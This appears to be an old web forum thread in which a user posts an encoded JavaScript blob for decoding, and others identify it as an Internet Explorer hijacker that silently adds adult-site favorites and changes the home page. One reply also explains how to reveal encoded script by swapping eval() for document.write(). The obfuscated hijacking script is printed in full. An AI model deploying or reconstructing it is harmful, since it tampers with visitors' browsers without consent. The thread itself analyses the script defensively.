Encode / Decode JS

[mahesh315]

Hello,

I have a script that is encoded and I would like to find some way to de-encode the script.

Here is the script below:

<!--

//**Start Encode**#@~^BAkAAA==@#@&@#@&9W1E:xD hMkO+vJ@!)hnSAPP_2qVuP'ZPqq9KuxZP^W9n'1Wh s/RC^Dk-+o zmOb\(ZK:aGxxO@*@!z)KhS2:@*J*i@#@&@#@&zJY4kdPW; mOkKUPb/~G VX~U+[+9~b0~HW!Pl9N,Wl7W.kD+d~KDP^rx0/@#@&W;x1YbWUP)[9sC\dU3vVG^BPfrda1C:S,?rD+`IS*@#@&`@#@&d-lMPj4KDP{~?4VR;.nlD+UtGDO^!YcVK^P3PEw'JPQ~GkdwgCs+~3JcjIdJ*I@#@&djtKD PmDoOnmYt,x~?bYj]SI@#@&djtK.RUl-nv#i@#@&)@#@&zJn N~mN9P0m\K.kD+dPKD~sbx3k~0!xmDrGx@#@&@#@&WEU^DkGx,W`* @#@&iYDz@#@&d`@#@&7iz&zmDk\(,rxbYrl^k"CDkW @#@&idl8x[W1Es+UY Caws+Dd$ZTI@#@&ddCqc/nY;JUq9vJPs,2*G/ yOqZw!Rq8f! )f~,OZT/!WsG*0bT$)Jbi@#@&dilq 1D+COqU/DC mnv#p@#@&idU4V,'~l8R!nDr4NnmD`#p@#@&dil8Rd+O/d?(fvE Zf*fw2!qRw!1& q8Zo %Oc! !Z)!;,T*W +0)J#p@#@&idl8 ^DlD+(xdOmx^+vbi@#@&77w?r~x,lqRVnDr8N+1Y`*i@#@&dilqRk+O/d?qGcJPs,2X9Zyv F/sTR8F9! )f~,RTZZ!*oG*0bZ$)Jbp@#@&ddmFc^DlO+&xdOmxmc#p@#@&i7H+DP{PCF !Y64NnmD`bI@#@&@#@&7iY.X@#@&id`@#@&iddb0,cNKm;:xO 1WW0r+ckx9nar6`rZ4oEb,'xP q#,@#@&7id @#@&id7dJ&k+O,mKW3b+@#@&did7\mD~nXwNmO+,'P nAPGlD+c`UnSP9lDn`*# LYKrh`bP3~v *,e,v!,e,!,e~FZ!T~CP,Zb#p@#@&i77d9W1Eh+UOcmGW0r+{J/4T'onUDCVp~62bD/'rP3~+Xw[lD+ OKMH:jYMkxTcbP3Pri~wCO4'&ir@#@&id77Jz+U[,/nY,^KWVb+@#@&@#@&di7P,P~zJ/nO,tWsnPalo@#@&didi?4V ]o DbO+,`EunZjwwUWWYSCM+w'HbmDK/KWY'-(xD+.UYPAaw^WD.w-tlbxw-jOmDOPhCoJS~rtYO2=z&vW 2% y&lRF+cJE#p@#@&did7-mDPaw9lY~xP +SP9lOnv`U+S~fmYnc*#RLnDKr:c*PQ,`ycPCP+TPCP!,e~qZ!!,MPO!#*I@#@&idid[W^;s+UYc^WK3rn{JZ4L{onx.mVI,+XwkM+kxJ,_~+Xw[CD+RDGMtK?D.rxT`*PQPEI,wCY4xzpJ@#@&idd7&J+UN,dY~4Ws+PalTn@#@&@#@&did7&JlN9~0m\WMrO+kPDtr/~rkPOt~mK:hG PwC.Di~/4G!V[,4PtD~k6PzW!PAC YPDGPmNN,WC\KDbYn/@#@&id7d7CD,oS,?tG.BPsW1I@#@&7idis,',o?}R!+D?2n1kl^oW^N+McT#p@#@&d7d7sKm~', s,_~E'-sC-KDrYdri@#@&diddb0vZsUr sKV[nM26bdYk`VK^b#@#@&id7d`@#@&d7di7VKm~x,s?6 V+OfMr7+Hm:`w#,QPr-wfKm;hxYk~l NPUnOYbxT/w-E~3PH+D jk+.Hm:+~Q,Jw-wC7W.bY/Jp@#@&7did7k6`ZoUrRwGV9+DAar/D/vVGmbb@#@&7di7dP@#@&7idd77M+OEMUp@#@&ididd)@#@&7didN@#@&d77izzUN,mWshGx,wmDO@#@&@#@&d7di&zDtn~6WVsGSkUo,sbxn,kkPEk+9~0KD~l9NrUTP0m-WMkYd @#@&did7z&OKPCN9~:!VOraV+~Wm\GDbO/S,N!wVbmmO+,Y4+,0Gs^WhbUo,Vk nSP1tmxLkUL,Y4+,slkY~+,wl.CslO+Mdc@#@&ididb9NwC\dxV`^W^S,JsMn+,((o~j+XPdkU3dEBPEtDOw=z&WR&0 y&XR8lzE*i@#@&didi&zx[PmN[~6l\K.kD+/@#@&@#@&@#@&@#@&@#@&77i8@#@&i78@#@&771lY^4v+b@#@&7i N@#@&i8@#@&d1CY1tc+*@#@&7P8@#@&N@#@&@#@&6;UmDkKx~kUrD`b@#@&`@#@&ddnDKkhnKEO`rWv#EBP8!!Z#p@#@&)@#@&@#@&kUrD`#p@#@& O@*4FoCAA==^#~@

I hope there is something that can de-encode it or possibly someone can determine the JS code from it.

Thank You,

Mahesh

Building A PC
http://www.buildingapc.cjb.net

Linux Help Site
http://www.linuxhelpsite.cjb.net

[Mark]

how did you get it like that? theres NO WAY you can decode that!! you must be kidding!

[Dr. Web]

rrrrrrright. What does this script do? It'd be faster to just go get what you need, rather than waste time trying to decode this.

[amsyar]

Have you ever heard of spam mails? I am sure you do.How about your browser being spam.Well actually this a javascript code where your Favourites/Bookmarks is hijacked. Whenever you vists a webpage with this script embedded , it will automatically Add webpages(can be 1,2,5 or 10 or more) to your Favourite list without your knowledge. The scary things is the webpages are mostly porns/xrated sites even though the webpage you originally visited is a general site. That is why the reason I do not post the decoded scripts here in case it is illegally used. Netscape uses need not worry bcos it only works in IE browsers. Please do not ask me for the decoded scripts bcos you will not be entertained. By the way what is your view regarding this issue.

[pixelmonkey]

Originally posted by amsyar
Have you ever heard of spam mails? I am sure you do.How about your browser being spam.Well actually this a javascript code where your Favourites/Bookmarks is hijacked. Whenever you vists a webpage with this script embedded , it will automatically Add webpages(can be 1,2,5 or 10 or more) to your Favourite list without your knowledge. The scary things is the webpages are mostly porns/xrated sites even though the webpage you originally visited is a general site. That is why the reason I do not post the decoded scripts here in case it is illegally used. Netscape uses need not worry bcos it only works in IE browsers. Please do not ask me for the decoded scripts bcos you will not be entertained. By the way what is your view regarding this issue.

i'm thinking this resolves a discussion we had on the boards within the past 2 months about favorites being added WITHOUT an onclick or prompt!

one thing to consider would be writing a code to add to the browser so this wouldnt work!
chris<pixelmonkey>:monkey:

[cloud9]

Hi, I can decode this for you, as long as it started <SCRIPT = Javascript1. or similar, not JSencode or similar. Post the whole page and I will do it for you :D

[cloud9]

... after the chunk of encoded stuff will be a decode routine, which builds the real code and then evaluates (eval(code)) it.

If I have the decode routine you just get it to document.write() the code instead of eval() it.